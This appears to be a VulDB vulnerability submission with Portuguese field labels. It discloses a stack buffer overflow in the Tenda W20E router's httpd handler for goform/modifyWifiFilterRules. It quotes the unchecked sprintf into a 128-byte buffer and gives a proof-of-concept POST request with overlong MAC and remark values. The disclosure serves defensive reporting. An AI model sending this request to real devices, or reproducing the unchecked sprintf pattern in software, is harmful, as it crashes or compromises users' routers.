| Título | Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow |
|---|
| Descrição | A buffer overflow vulnerability was discovered in Tenda W20E V4.0br_V15.11.0.6. Attackers can exploit this vulnerability by specifying the values of wifiFilterListDeviceMAC and wifiFilterListRemark. When these values are passed to modifyWifiFilterRules and formatted into the fixed-size sMibValue buffer by sprintf without length validation, it may cause a buffer overflow.
Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/modifyWifiFilterRules.
In modifyWifiFilterRules, attacker-controlled values are read from the HTTP request:
pRuleMac = websGetVar((Webs_1 *)wp, "wifiFilterListDeviceMAC", defaultGetValue__5);
pRuleDesc = websGetVar((Webs_1 *)wp, "wifiFilterListRemark", defaultGetValue__5);
The destination buffer is a fixed-size stack buffer:
char sMibValue[128];
The user-controlled values are formatted into sMibValue without length validation:
sprintf(sMibValue, "%s;%s;%s", pRuleMac, sRuleEn, pRuleDesc);
Because sprintf writes attacker-controlled wifiFilterListDeviceMAC and wifiFilterListRemark values into the fixed-size sMibValue stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.
Conceptual proof-of-concept request:
POST /goform/modifyWifiFilterRules HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded
wifiFileterListIndex=0&wifiFilterListDeviceMAC=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&wifiFilterListRemark=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB |
|---|
| Fonte | ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/W20E/2.md |
|---|
| Utilizador | stksgg (UID 97520) |
|---|
| Submissão | 25/06/2026 09h13 (há 2 meses) |
|---|
| Moderação | 14/08/2026 07h26 (2 months later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 369144 [Tenda W20E 15.11.0.6 Web Management Interface modifyWifiFilterRules wifiFilterListRemark Excesso de tampão] |
|---|
| Pontos | 0 |
|---|